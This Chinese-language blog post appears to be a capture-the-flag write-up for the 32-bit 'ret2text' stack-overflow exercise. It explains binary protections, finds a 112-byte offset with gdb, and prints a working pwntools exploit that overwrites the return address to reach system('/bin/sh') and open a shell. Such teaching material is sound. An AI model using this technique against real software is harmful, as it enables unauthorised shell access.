检查保护机制

checksec ret2text
Arch:    i386-32-little //文件为32位程序
RELRO:    Partial RELRO
Stack:    No canary found    //未开启canary保护
NX:      NX enabled    //开启了栈不可执行保护
PIE:      No PIE (0x8048000)    //未开启地址无关可执行

22508867-848911d41f68e4a3.png

canary(栈保护)

当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变);
如果不合法就停止程序运行 (栈溢出发生)。
攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

PIE

如果程序开启了 PIE 保护的话,在每次加载程序时都变换加载地址

NX(DEP)

NX 即 No-eXecute(不可执行)的意思,限制一块内存区域不可执行。

ASLR

ASLR(地址随机化)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。

0x2

本题是 32 位程序,对应的是 32 的 IDA。加载出来的是汇编语言,然后就要去看它的 main 函数按 F5 反汇编

22508867-2c22be6edd039812.png

栈溢出漏洞

简单讲,栈溢出就是向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,造成溢出。

发生栈溢出的条件 程序必须向栈上写入数据。写入的数据大小没有被良好地控制

利用方式 覆盖程序的返回地址为攻击者所控制的地址,比如该地址为执行 shellcode 的地址 shellcode 是一段用于利用软件漏洞而执行的代码,shellcode 为 16 进制的机器码,可以让攻击者获得 shell,利用 pwntools 可自动生成,等用到再说。可能造成栈溢出的函数。

可能造成栈溢出的函数有 gets,scanf,vscanf,sprintf,strcpy,strcat,bcopy

0x3

继续浏览其他函数的伪代码。发现 secure 函数中调用了 system(“/bin/sh”)
我们只需要想办法执行这 system(“/bin/sh”)从而拿到我们想要的 shell。

22508867-4978445eded254f2.png

我们现在大概确定了栈溢出漏洞,我们首先要知道这个漏洞到底有多深,然后我们了解了这个漏洞的深度把东西填装进去让他覆盖到这个 system(“/bin/sh”)这个地址我们就可以得到 shell 了。

那如何确定这个偏移量和这个地址呢?

step1

利用 gdb 进行调试看它的偏移

gdb -q ./ret2text         
//gdb载入该文件
pattern create 200     
//制造200个填充字符(多少字符都行),先把他复制下来
r                                 
//运行程序
pattern offset 地址     
//确定偏移

22508867-ef5ed1b8bd807dd4.png

22508867-fdfe76ec3c0ba50d.PNG

计算的偏移量为 112,下面找到 system(“/bin/sh”)地址就可以构造 exp 了,
那么我们看 IDA 在 secure 中调用 system (“/bin/sh”) 的地址

22508867-0252408325f50505.png

exp 如下

from pwn import*                                 
//导入python库
p = process("./ret2text")                     
//与文件建立本地连接,远程连接用r = remote('ip',端口)
payload = 'a'*112 + p32(0x804863A) 
 //p32()将其打包,64位用p64()
p.sendline(payload)                           
//发送payload
p.interactive()                                     
//直接进行交互,相当于回到shell的模式,在取得shell之后使用

执行 exp

22508867-d06a7cdcfdeb9781.png

更新于

请我喝[茶]~( ̄▽ ̄)~*

1sme 微信支付

微信支付